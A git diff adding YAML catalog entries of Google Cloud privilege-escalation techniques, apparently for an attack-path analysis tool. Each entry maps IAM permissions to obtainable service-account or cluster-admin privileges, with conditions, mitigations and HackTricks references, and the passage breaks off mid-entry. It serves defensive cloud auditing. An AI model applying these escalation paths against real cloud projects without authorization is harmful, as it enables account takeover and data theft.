IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetiampolicy + source_revision: 171e422 + summary: The source can obtain the privileges of the service account attached to every VM on which it holds compute.instances.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: compute.instances.setIamPolicy + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of VMs whose IAM policy the source controls" + conditions: + - id: followup_technique + description: The self-granted role enables the metadata or OS Login techniques, which keep their own conditions (SSH reachability, OS Login, reboot, access scopes). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.instances.setIamPolicy (roles/compute.admin, roles/compute.instanceAdmin) to administrators. + +- id: gcp-compute-instances-osadminlogin + provider: gcp + service: compute + title: Log in as root to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesosadminlogin + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account attached to every OS Login VM on which it holds compute.instances.osLogin and compute.instances.osAdminLogin and actAs on that SA. + requires: + all_of: + - action: compute.instances.osLogin + resource: '{target.host_resource}' + - action: compute.instances.osAdminLogin + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: SAs of OS Login VMs the source can administer + conditions: + - id: oslogin_enabled + description: OS Login must be enabled on the VM and its SSH service reachable (directly or via IAP TCP forwarding, which needs its own permission). + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + - id: twofa + description: OS Login 2FA, if enforced, requires the source's second factor. + - id: external_user + description: A user outside the VM's organization also needs organization-level compute.oslogin.updateExternalUser. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Grant roles/compute.osAdminLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: HackTricks @6fb9ac51fd lists both compute.instances.osLogin and compute.instances.osAdminLogin as required (roles/compute.osAdminLogin carries both); compute.instances.get and compute.projects.get + are only needed by the CLI convenience flow. + +- id: gcp-compute-instances-oslogin + provider: gcp + service: compute + title: Log in as an unprivileged user to an OS Login VM and use its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancesoslogin + source_revision: 171e422 + summary: The source can obtain the privileges of the service account attached to every OS Login VM on which it holds compute.instances.osLogin and actAs on that SA. + requires: + all_of: + - action: compute.instances.osLogin + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of OS Login VMs the source can log in to" + conditions: + - id: oslogin_enabled + description: OS Login must be enabled on the VM and its SSH service reachable. + - id: metadata_server_reachable_unprivileged + description: HackTricks only states the login is without root; reaching the SA assumes the local metadata server is not firewalled from unprivileged users on that image. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/compute.osLogin only on specific VMs and keep privileged SAs off interactive VMs. + notes: Non-root login; SA token access from an unprivileged shell is an inference, hence conditional. + +- id: gcp-gke-pod-node-metadata-token + provider: gcp + service: container + title: Compromised pod reads node SA token or legacy kube-env from metadata + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + source_revision: 0b36331 + summary: Compromised pod reads node SA token or legacy kube-env from metadata; emit only when exact source, target, + and prerequisite evidence is verified. + requires: + all_of: [] + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-gke-pod-node-metadata-token + scope: any + outcome: credentials + aggregate_as: Compromised pod reads node SA token or legacy kube-env from metadata + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + source_kind: gcp_challenge_foothold +- id: gcp-compromised-vm-metadata-sa-token + provider: gcp + service: compute + title: Read attached VM SA token from metadata after host access + source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#service-accounts + source_revision: 0b36331 + summary: Read attached VM SA token from metadata after host access; emit only when exact source, target, and prerequisite + evidence is verified. + requires: + all_of: [] + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-compromised-vm-metadata-sa-token + scope: any + outcome: credentials + aggregate_as: Read attached VM SA token from metadata after host access + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#service-accounts + source_kind: gcp_challenge_foothold diff --git a/src/privilege-escalation-paths-research/gcp/configcontroller.yaml b/src/privilege-escalation-paths-research/gcp/configcontroller.yaml new file mode 100644 index 0000000000..e903f0f64d --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/configcontroller.yaml @@ -0,0 +1,81 @@ + +# GCP Config Controller / Config Connector (KCC) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-controller-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: config_connector_identity -> the Google SA configured in the ConfigConnectorContext (or the +# cluster-mode ConfigConnector object) of the Config Controller / KCC cluster {target.host_resource}. + +- id: gcp-configcontroller-kcc-resource-write + provider: gcp + service: configcontroller + title: Write Config Connector resources so KCC acts as its configured Google service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kubernetes-rbac-over-a-kcc-resource--act-as-the-configured-config-connector-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the Config Connector identity of a Config Controller (or KCC-enabled + GKE) cluster where it can create or update *.cnrm.cloud.google.com custom resources. + requires: + any_of: + - - action: container.thirdPartyObjects.create + resource: '{target.host_resource}' + - - action: container.thirdPartyObjects.update + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: config_connector_identity + scope: any + aggregate_as: Config Connector identities of clusters where the source can write KCC resources + conditions: + - id: in_cluster_rbac + description: Native Kubernetes RBAC create/update/patch on the watched KCC CRD is an independently sufficient + authorization path. This GCP-IAM entry covers only container.thirdPartyObjects.*; the native path requires + a cross-plane RBAC evaluator and must remain UNKNOWN until implemented. + - id: watched_namespace + description: The resource must be written in a namespace KCC reconciles (namespaced mode uses the namespace's + ConfigConnectorContext identity). + - id: admission + description: Policy Controller constraints or validating webhooks can reject the manifest. + - id: api_server_reachable + description: Needs network reachability and credentials to the cluster API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict write access to KCC custom resources (in-cluster RBAC and container.thirdPartyObjects.*) + and grant the Config Connector identity only the IAM permissions it needs (never roles/owner). + references: + - https://docs.cloud.google.com/config-connector/docs/how-to/install-manually + - https://docs.cloud.google.com/kubernetes-engine/docs/reference/api-permissions + notes: The reach is bounded by the Config Connector identity's own IAM permissions; the reconciled API calls are + attributed to that identity. Any KCC resource (IAMPolicyMember, IAMServiceAccountKey, compute instances) is + a deputy for it. + +- id: gcp-kcc-k8s-rbac-iam-member + provider: gcp + service: configcontroller + title: ConfigConfusion in-cluster RBAC permits IAMPolicyMember CRD self grant + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#authorization-bypass-and-shadow-resources + source_revision: 0b36331 + summary: ConfigConfusion in-cluster RBAC permits IAMPolicyMember CRD self grant; emit only when exact source, + target, and prerequisite evidence is verified. + requires: + all_of: [] + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-kcc-k8s-rbac-iam-member + scope: any + outcome: scope_control + aggregate_as: ConfigConfusion in-cluster RBAC permits IAMPolicyMember CRD self grant + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#authorization-bypass-and-shadow-resources + source_kind: + - gcp_user + - gcp_service_account + source_selector: {} diff --git a/src/privilege-escalation-paths-research/gcp/configdelivery.yaml b/src/privilege-escalation-paths-research/gcp/configdelivery.yaml new file mode 100644 index 0000000000..81a5d7789c --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/configdelivery.yaml @@ -0,0 +1,48 @@ + +# GCP Config Delivery (fleet packages) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-delivery-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-configdelivery-fleetpackage-publish + provider: gcp + service: configdelivery + title: Publish a resource-bundle release to fleet clusters through a fleet package + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#resourcebundlescreate--releasescreate--variantscreate--releasesupdate--fleetpackagescreate--publish-manifests-to-fleet-clusters + source_revision: 6fb9ac51fd + summary: The source can obtain cluster-admin on fleet member clusters selected by a fleet package it creates or updates, because Config Sync's root reconciler applies the published manifests with cluster-admin by default. + requires: + all_of: + - action: configdelivery.resourceBundles.create + resource: "*" + - action: configdelivery.releases.create + resource: "*" + - action: configdelivery.releases.update + resource: "*" + - action: configdelivery.variants.create + resource: "*" + any_of: + - - action: configdelivery.fleetPackages.create + resource: "*" + - - action: configdelivery.fleetPackages.update + resource: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of fleet-member clusters in {project}" + conditions: + - id: fleet_selection + description: Only fleet members matched by the fleet package target selector are reached (an empty selector matches all members); Config Sync must be enabled on them. + - id: reconciler_rbac + description: Google documents that RootSync root reconcilers have cluster-admin by default; customized reconciler RBAC or admission policy limits what is applied. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/configdelivery.configDeliveryAdmin and fleetPackages create/update; narrow Config Sync reconciler RBAC. + references: + - https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/architecture + - https://cloud.google.com/kubernetes-engine/enterprise/config-sync/docs/how-to/fleet-packages + notes: HackTricks states the chain does not by itself prove cluster-admin; the edge is conditional on the default root reconciler RBAC (Google Config Sync architecture docs). diff --git a/src/privilege-escalation-paths-research/gcp/container.yaml b/src/privilege-escalation-paths-research/gcp/container.yaml new file mode 100644 index 0000000000..f5315eec29 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/container.yaml @@ -0,0 +1,764 @@ +# GCP GKE (container.googleapis.com) and Fleet (gkehub) privilege escalation techniques, GCP-IAM side. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-container-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# GKE IAM container.* permissions are granted at project level and apply to every cluster in the project, in addition +# to in-cluster RBAC. k8s_cluster_admin targets follow the Azure AKS convention: resource "{target.scope}" = the cluster, +# selector any_principal_in_scope, scope cluster. In-cluster Kubernetes SA reach (pod tokens, secrets) is left to +# catalog/k8s. attached_to_service: gke_nodepool -> SA attached to the cluster's node pool VMs. + +- id: gcp-container-clusterroles-bind + provider: gcp + service: container + title: Bind a privileged ClusterRole to oneself through GKE IAM bind permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesbind--containerclusterrolesbind + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of cluster-admin on every GKE cluster in projects where it holds container.clusterRoles.bind and container.clusterRoleBindings.create. + requires: + all_of: + - action: container.clusterRoles.bind + resource: '{target.scope}' + any_of: + - - action: container.clusterRoleBindings.create + resource: '{target.scope}' + - - action: container.clusterRoleBindings.update + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: api_server_reachable + description: Private clusters / master authorized networks require network reachability to the API server (or Connect Gateway access). + - id: credentials + description: Obtaining a kubeconfig normally uses container.clusters.get/getCredentials; endpoint and CA can also come from elsewhere. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Do not grant container.clusterRoles.bind/escalate (roles/container.admin) outside cluster administrators. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: 'The bind permission follows the referenced role kind: clusterRoles.bind with only roleBindings.create/update grants the ClusterRole inside namespaces, modelled with the namespaced Role variant + by gcp-container-namespaced-rbac-ksa.' + +- id: gcp-container-clusterroles-escalate + provider: gcp + service: container + title: Widen a ClusterRole bound to the source through GKE IAM escalate permission + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerrolesescalate--containerclusterrolesescalate + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of cluster-admin on GKE clusters where it holds container.clusterRoles.escalate and can update a ClusterRole already bound to it. + requires: + all_of: + - action: container.clusterRoles.escalate + resource: '{target.scope}' + any_of: + - - action: container.clusterRoles.update + resource: '{target.scope}' + - - action: container.clusterRoles.create + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: Cluster admin of GKE cluster {target.scope} + conditions: + - id: bound_role_exists + description: With update, a ClusterRole must already be bound to the source (directly or through a group such as system:authenticated). With create, an existing ClusterRoleBinding must reference a not-yet-existing + ClusterRole name the source can create; otherwise bind rights are also needed (gcp-container-clusterroles-bind). + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusterRoles.escalate outside cluster administrators. + notes: 'HackTricks @6fb9ac51fd: escalate plus the matching Role/ClusterRole create or update. The namespaced variant (container.roles.escalate) is modelled by gcp-container-namespaced-rbac-ksa.' + +- id: gcp-container-pod-template-node-sa + provider: gcp + service: container + title: Create or update a workload whose pod reads the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#workload-and-pod-create--update-permissions + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the node pool service accounts of GKE clusters in projects where it can create pods or pod-template workloads. + requires: + any_of: + - - action: container.pods.create + resource: '*' + - - action: container.deployments.create + resource: '*' + - - action: container.daemonSets.create + resource: '*' + - - action: container.jobs.create + resource: '*' + - - action: container.cronJobs.create + resource: '*' + - - action: container.statefulSets.create + resource: '*' + - - action: container.replicaSets.create + resource: '*' + - - action: container.replicationControllers.create + resource: '*' + - - action: container.deployments.update + resource: '*' + - - action: container.daemonSets.update + resource: '*' + - - action: container.statefulSets.update + resource: '*' + - - action: container.cronJobs.update + resource: '*' + - - action: container.jobs.update + resource: '*' + - - action: container.replicaSets.update + resource: '*' + - - action: container.replicationControllers.update + resource: '*' + - - action: container.pods.update + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: GKE node pool SAs of {project} + conditions: + - id: metadata_reachable + description: Pods reach the node SA only when the node pool does not use GKE metadata server / Workload Identity (GKE_METADATA) or metadata concealment, and network policy does not block the metadata + address. + - id: access_scopes + description: The usable token is limited by the node pool's OAuth access scopes. + - id: admission + description: Admission policies (Pod Security, Policy Controller, Binary Authorization) may reject the workload. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + - pod_security_admission + - admission_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE on all node pools, use least-privilege node SAs and restrict container.*.create. + notes: Kubernetes service account reach through the pod template (including KSAs bound to Google SAs through Workload Identity) is modelled by gcp-container-pod-template-ksa. container.pods.update only + swaps an existing Pod's image, keeping its KSA and node. + +- id: gcp-container-pods-exec-node-sa + provider: gcp + service: container + title: Exec into a pod and read the node pool service account from the metadata server + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsexec + source_revision: 171e422 + summary: The source can obtain the privileges of the node pool service accounts of GKE clusters in projects where it holds container.pods.exec. + requires: + all_of: + - action: container.pods.exec + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "GKE node pool SAs of {project}" + conditions: + - id: metadata_reachable + description: Only on node pools without GKE metadata server / Workload Identity and when the pod can reach the metadata address. + - id: running_pod + description: Needs a running pod with a shell-capable container on that node pool. + - id: access_scopes + description: The usable token is limited by the node pool's access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Enable Workload Identity Federation for GKE and restrict container.pods.exec. + notes: Exec also yields mounted KSA tokens and, with Workload Identity, the pod's bound GSA; those are not modelled here. + +- id: gcp-container-nodes-proxy-node-sa + provider: gcp + service: container + title: Run commands in containers through the kubelet node proxy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containernodesproxy + source_revision: 171e422 + summary: The source can obtain the privileges of the node pool service accounts of GKE clusters in projects where it holds container.nodes.proxy. + requires: + all_of: + - action: container.nodes.proxy + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "GKE node pool SAs of {project}" + conditions: + - id: kubelet_run_endpoint + description: The kubelet must serve the run endpoint (varies by version and configuration). + - id: metadata_reachable + description: Only on node pools without GKE metadata server / Workload Identity. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.nodes.proxy and enable Workload Identity Federation for GKE. + +- id: gcp-container-serviceaccounts-createtoken + provider: gcp + service: container + title: Mint a token for a privileged Kubernetes service account through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerserviceaccountscreatetoken + source_revision: 171e422 + summary: The source can obtain the privileges of every Kubernetes service account in GKE clusters covered by its container.serviceAccounts.createToken grant. That is cluster-admin when one of those KSAs is admin-equivalent. + requires: + all_of: + - action: container.serviceAccounts.createToken + resource: "{target.scope}" + - action: container.clusters.get + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_cluster: true + scope: cluster + aggregate_as: "KSAs of GKE cluster {target.scope}" + conditions: + - id: ksa_rbac + description: The reached privileges are the Kubernetes RBAC (and any Workload Identity binding) of each KSA. The edge reaches cluster-admin only through a KSA that is cluster-admin-equivalent. + - id: api_server_reachable + description: The API server must be reachable. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.serviceAccounts.createToken (roles/container.developer and above) and avoid cluster-admin KSAs. + notes: GKE clusters ship system KSAs in kube-system with broad RBAC; whether one is cluster-admin-equivalent depends on version. container.clusters.get is required by GKE's IAM-authenticated API flow for a Google identity (HackTricks @171e422); a caller holding a native Kubernetes credential could use RBAC create on serviceaccounts/token instead (k8s catalog). + +- id: gcp-container-secrets-read-ksa-token-secret + provider: gcp + service: container + title: Read Kubernetes service-account token Secrets through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containersecretsget--containersecretslist + source_revision: 171e422 + summary: The source can obtain the privileges of Kubernetes service accounts that have a kubernetes.io/service-account-token Secret, in GKE clusters covered by its container.secrets.get or container.secrets.list grant. That is cluster-admin when such an account is admin-equivalent. + requires: + all_of: [] + any_of: + - - action: container.secrets.get + resource: "{target.scope}" + - - action: container.secrets.list + resource: "{target.scope}" + target: + kind: k8s_service_account + selector: + k8s_sa_has_token_secret: true + scope: cluster + aggregate_as: "KSAs with token Secrets in GKE cluster {target.scope}" + conditions: + - id: token_secret_exists + description: The edge holds only if the cluster has a kubernetes.io/service-account-token Secret. Since Kubernetes 1.24 these are no longer auto-created per service account, so only manually created or legacy token Secrets count. The reached privileges are the RBAC of the KSA that the Secret references; this reaches cluster-admin only when that KSA is cluster-admin-equivalent. + - id: secret_name_known_for_get + description: With container.secrets.get alone, the Secret name and namespace must be known. container.secrets.list returns Secret data directly. + - id: api_server_reachable + description: The cluster API server must be reachable from the source (private endpoint and authorized networks may limit this). + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Remove container.secrets.get/list from broad project-level roles (roles/container.developer, roles/container.admin, roles/editor). Delete legacy service-account token Secrets and use short-lived TokenRequest tokens instead. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/access-control + - https://docs.cloud.google.com/iam/docs/roles-permissions/container + - https://kubernetes.io/docs/concepts/configuration/secret/#serviceaccount-token-secrets + notes: GKE authorizes a request if either IAM or Kubernetes RBAC allows it. A project-level IAM grant of container.secrets.get/list therefore reads Secrets in every namespace of every cluster in the project, whatever the RBAC. The k8s catalog evaluates RBAC only, so it does not model this IAM-granted path. The target is the set of KSAs named by kubernetes.io/service-account-token Secret metadata (k8s_sa_has_token_secret), joined from a related K8s snapshot of the cluster. Without that snapshot, each cluster gets one conditional aggregate. + +- id: gcp-container-clusters-nodepools-create-actas + provider: gcp + service: container + title: Create a GKE cluster or node pool running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclusterscreate-or-containerclustersupdate--iamserviceaccountsactas--run-new-nodes-as-an-attacker-chosen-sa + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + any_of: + - - action: container.clusters.create + resource: "*" + - - action: container.clusters.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as GKE node SA in {project}" + conditions: + - id: run_pod + description: Reading the token needs a pod on the new nodes (cluster creators normally get in-cluster admin; the node-pool path needs pod create on that cluster). + - id: workload_metadata + description: The attacker can choose GCE_METADATA and cloud-platform scopes at create time; org policies may restrict these settings. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs and restrict container.clusters.create and container.clusters.update. + notes: actAs is enforced at cluster/node-pool create time. There is no container.nodePools.* IAM permission. Google's GKE API permissions reference maps projects.locations.clusters.nodePools.create (and update) to container.clusters.update on the cluster, so the node-pool path is clusters.update plus actAs. + +- id: gcp-gkehub-rbacrolebindings-gateway + provider: gcp + service: container + title: Push fleet-managed in-cluster RBAC through a fleet RBAC role binding and connect via Connect Gateway + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubrbacrolebindingscreate--fleet-managed-in-cluster-rbac + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of cluster-admin (bounded by the Fleet RBAC role model) on fleet-member clusters of every project where it can create or update fleet RBAC role bindings and + has, or can self-grant, an API-server access path. + requires: + any_of: + - - action: gkehub.rbacrolebindings.create + resource: '*' + - &id001 + action: gkehub.gateway.generateCredentials + resource: '*' + - &id002 + action: gkehub.gateway.get + resource: '*' + - - action: gkehub.rbacrolebindings.create + resource: '*' + - &id003 + action: gkehub.memberships.setIamPolicy + resource: '*' + - - action: gkehub.rbacrolebindings.create + resource: '*' + - &id004 + action: container.clusters.get + resource: '*' + - - action: gkehub.rbacrolebindings.update + resource: '*' + - *id001 + - *id002 + - - action: gkehub.rbacrolebindings.update + resource: '*' + - *id003 + - - action: gkehub.rbacrolebindings.update + resource: '*' + - *id004 + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: Cluster admin of fleet-member clusters in {project} + conditions: + - id: fleet_scope_membership + description: The cluster must be a fleet member in a fleet scope the RBAC binding targets. + - id: fleet_role_not_cluster_admin + description: The predefined ADMIN fleet role grants admin-level (edit plus RBAC management) Kubernetes access, not cluster-admin; reaching cluster-admin needs an allowed custom role mapped to an equivalent + ClusterRole, or onward pivots such as creating pods with privileged service accounts. + - id: mutating_verbs + description: Write operations through the gateway need gkehub.gateway.post/put/patch/delete and exec needs gkehub.gateway.stream. + - id: access_path + description: gkehub.memberships.setIamPolicy works by self-granting a Connect Gateway role on the membership; container.clusters.get is the direct GKE endpoint path and additionally needs network reachability + to the API server (private endpoint / master authorized networks). + - id: update_existing + description: gkehub.rbacrolebindings.update needs an existing fleet RBAC role binding to repoint to the source or to a stronger role. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict gkehub.rbacrolebindings.* and gkehub.gateway.* (both included in basic roles/editor). + notes: 'HackTricks @6fb9ac51fd: rbacrolebindings.create for a new binding (.update for an existing one), plus a gateway or direct access path; a Fleet Admin (roles/gkehub.admin) can self-grant gateway + transport through gkehub.memberships.setIamPolicy.' + +- id: gcp-gkehub-features-configmanagement + provider: gcp + service: container + title: Point fleet Config Management at an attacker source to push manifests into member clusters + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source can obtain the privileges of cluster-admin on fleet-member clusters of every project where it can create or update the Config Management fleet feature and the member's MembershipFeature. + requires: + any_of: + - - action: gkehub.features.create + resource: "*" + - action: gkehub.membershipfeatures.update + resource: "*" + - - action: gkehub.features.update + resource: "*" + - action: gkehub.membershipfeatures.update + resource: "*" + - - action: gkehub.features.create + resource: "*" + - action: gkehub.membershipfeatures.create + resource: "*" + - - action: gkehub.features.update + resource: "*" + - action: gkehub.membershipfeatures.create + resource: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of fleet-member clusters in {project}" + conditions: + - id: member_targeting + description: HackTricks @171e422 lists gkehub.membershipfeatures.update (or .create when no MembershipFeature exists yet) to change a member's Config Management spec; Config Sync must be supported on the member and the attacker Git/OCI source reachable. + - id: configsync_privilege + description: Pushed manifests are applied by ConfigSync with its in-cluster RBAC (normally cluster-wide); admission policies may still reject privileged workloads. + blockers: + - gcp_deny_policy + - admission_policy + confidence: conditional + severity: critical + mitigation: Restrict gkehub.features.* and gkehub.membershipfeatures.* (included in roles/editor and roles/gkehub.editor). + +- id: gcp-container-clusters-impersonate + provider: gcp + service: container + title: Impersonate privileged Kubernetes users or groups through GKE IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersimpersonate--kubernetes-usergroup-impersonation---as-groupsystemmasters + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin on GKE Standard clusters where it holds container.clusters.impersonate, by impersonating system:masters or another privileged Kubernetes identity. + requires: + all_of: + - action: container.clusters.impersonate + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of GKE cluster {target.scope}" + conditions: + - id: autopilot_or_no_system_impersonation + description: Autopilot clusters (and Standard clusters with the no-system-impersonation policy) reject impersonation of system users and groups such as system:masters; there only user-defined identities with existing RBAC are reachable. + - id: api_server_reachable + description: Private endpoints / master authorized networks require network reachability to the API server. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Do not grant container.clusters.impersonate (roles/container.admin) outside cluster administrators; enable no-system-impersonation where supported. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/iam + - https://docs.cloud.google.com/kubernetes-engine/docs/concepts/autopilot-security + notes: GKE authorizes impersonation headers through its IAM authorizer fallback, so no RBAC binding is needed. + +- id: gcp-container-updatenodepool-expose-node-sa + provider: gcp + service: container + title: Downgrade a node pool's workload metadata mode to expose its service account to pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate-updatenodepool--expose-an-existing-node-pools-sa-to-pods + source_revision: 171e422 + summary: The source can obtain the privileges of the node service account of GKE Standard node pools in clusters where it holds container.clusters.update, by switching the pool from GKE_METADATA to GCE_METADATA and reading the token from a pod. + requires: + all_of: + - action: container.clusters.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: gke_nodepool + scope: same_project + aggregate_as: "GKE node pool SAs of clusters the source can update" + conditions: + - id: run_pod_on_pool + description: The source also needs a way to run or exec into a pod on that pool (container.pods.create/exec or in-cluster RBAC). + - id: access_scopes + description: The token is limited by the node VMs' access scopes. + - id: standard_only + description: Autopilot clusters do not expose the setting. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict container.clusters.update (roles/container.admin, roles/container.clusterAdmin, roles/editor) and use low-privilege node service accounts. + references: + - https://docs.cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: No actAs is checked because the node SA does not change. The NodePools update REST call is authorized by container.clusters.update. + +- id: gcp-container-mutatingwebhookconfigurations-write + provider: gcp + service: container + title: Install or repoint a mutating admission webhook to rewrite admitted pods + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containermutatingwebhookconfigurationscreate--containermutatingwebhookconfigurationsupdate + source_revision: 171e422 + summary: The source can obtain the privileges of Kubernetes service accounts used by pods admitted after the change in GKE clusters where it can create or update 